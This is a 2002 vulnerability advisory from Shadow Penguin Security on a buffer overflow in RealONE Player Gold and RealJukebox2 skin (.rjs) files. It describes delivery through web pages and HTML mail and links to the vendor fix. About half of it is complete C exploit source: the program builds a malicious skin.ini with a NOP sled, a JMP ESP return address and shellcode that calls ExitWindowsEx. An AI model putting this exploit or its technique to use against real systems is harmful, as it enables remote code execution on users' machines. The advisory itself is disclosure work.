SPS Advisory #48 RealONE Player Gold / RealJukebox2 Buffer Overflow
UNYUN <[EMAIL PROTECTED]> Shadow Penguin Security (http://www.shadowpenguin.org) -------------------------------------------------------------- *Date July. 12, 2002 *vulnerable RealONE Player Gold Ver. 6.0.10.505 RealJukebox2 Ver. 1.0.2.379 RealJukebox2 Ver. 1.0.2.340 RealJukebox2 Plus Ver. 1.0.2.379 RealJukebox2 Plus Ver. 1.0.2.340 *Overview RealJukebox2 and RealONE Player Gold can be changed the visual appearance of application by skin file. The skin file (file extension is "rjs") is the zip-file that contains the images and setting files, the image files that constructs the visual appearance are specified in "CONTROLnImage" field of "skin.ini" file. RealJukebox2 and RealONE Player Gold overflow when the long filename is specified in the "CONTROLnImage" field. This buffer overflow overwrites the local buffer, the codes which are written in "CONTROLnImage" field can be executed on the client host. *Risk If the skin file that contains malicious code is hyper-linked on the web page, it is executed on the client host when visitor clicks it. If the automatic reference such as META tag is written in HTML file, the malicious code written in skin file is executed when visitor opens a web page. This problem also affects to the e-mail client that supports HTML mail such as Outlook Express. *Details We describe the reproduction process of this problem on Windows2000 Professional SP2+RealJukebox2 Ver. 1.0.2.340. Make a following skin.ini file, and zip it. [MAIN] Application=RealJukebox Version=2 SkinFamilyCount=5 CONTROL1Image=aaaaaaaaaa... long'a' If you rename the file extension from "zip" to "rjs" and drop it to the web browser such as Internet Explorer, RealJukebox2 is launched automatically and it is crashed by buffer overflow. This buffer overflow overwrites the RET address which is stored from buffer offert 28, it changes the value of EIP register. If you specify the value of EIP register to the address which is stored the malicious code, it can be executed after RET instruction is executed. *Avoidance Information about the avoidance of this problem is published on the webpage of RealNetworks, Inc. http://service.real.com/help/faq/security/bufferoverrun07092002.html *Caution We will change this information without any notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatever arising out of or in connection with the use or spread of this information. Any use of this information is only for personal experiment. *Comments ? If you have something comments, please send to following address. webmaster <[EMAIL PROTECTED]> http://www.shadowpenguin.org *Sample code This sample generates a skin.ini file that contains the log-off code. If you test it, you must zip the generated skin.ini file and rename the extension from "zip" to "rjs". This sample code can be compiled by Visual C++ 6.0. This sample code was checked under the environmentof Windows2000 Professional SP2 (Japanese)+RealJukebox2 Ver. 1.0.2.340. /*=========================================================== RealJukebox2 1.0.2.379 Exploit for Windows Windows2000 Professional (Service Pack 2) The Shadow Penguin Security (http://www.shadowpenguin.org) Written by UNYUN ([EMAIL PROTECTED]) ============================================================ */ #include <stdio.h> #include <windows.h> #define MAXBUF 4096 #define KERNEL_NAME "kernel32.dll" #define SKIN_INI "skin.ini" #define INI_FILE \ "[MAIN]\n"\ "Application=RealJukebox\n"\ "Version=2\n"\ "SkinFamilyCount=5\n"\ "\n"\ "CONTROL1Image=%s\n" #define NOP 0x90 #define FAKE_OFS1 36 #define FAKE_VAL1 0x7FFDF0F0 #define RETADR_OFS 28 #define CODE_OFS 60 #define RETADR_2000pro 0x77e0af64 static unsigned char egg_2000pro[512]={ 0xB8,0xA5,0xFA,0xE1,0x77,0x33,0xDB,0xB3, 0x04,0x53,0x53,0xFF,0xD0,0x90,0xEB,0xFD, 0x00 }; unsigned int search_mem(unsigned char *st,unsigned char *ed, unsigned char c1,unsigned char c2) { unsigned char *p; unsigned int adr; for (p=st;p<ed;p++) if (*p==c1 && *(p+1)==c2){ adr=(unsigned int)p; if ((adr&0xff)==0) continue; if (((adr>>8)&0xff)==0) continue; if (((adr>>16)&0xff)==0) continue; if (((adr>>24)&0xff)==0) continue; return(adr); } return(0); } void valset(char *buf,unsigned int val) { buf[0]=val&0xff; buf[1]=(val>>8)&0xff; buf[2]=(val>>16)&0xff; buf[3]=(val>>24)&0xff; } int main(int argc,char *argv[]) { FILE *fp; char buf[MAXBUF]; unsigned int tgt,exw; unsigned char *kp; if ((fp=fopen(SKIN_INI,"wb"))==NULL){ printf("Can not write file.\n"); exit(1); } memset(buf,NOP,sizeof(buf)); buf[sizeof(buf)-1]='\0'; if ((kp=(unsigned char *)LoadLibrary(KERNEL_NAME))==NULL){ printf("Can not find %s\n",KERNEL_NAME); exit(1); } tgt=search_mem(kp,kp+0x100000,0xff,0xe4); if (tgt==0) tgt=RETADR_2000pro; printf("kp = 0x%x\n",kp); printf("JMP ESP addr = 0x%x\n",tgt); exw=(unsigned int)ExitWindowsEx; printf("ExitWindowsEx = 0x%x\n",exw); valset(buf+FAKE_OFS1,FAKE_VAL1); valset(buf+RETADR_OFS,tgt); valset(egg_2000pro+1,exw); strncpy(buf+CODE_OFS,egg_2000pro,strlen(egg_2000pro)); fprintf(fp,INI_FILE,buf); fclose(fp); printf("Created '%s'.\n",SKIN_INI); return(0); }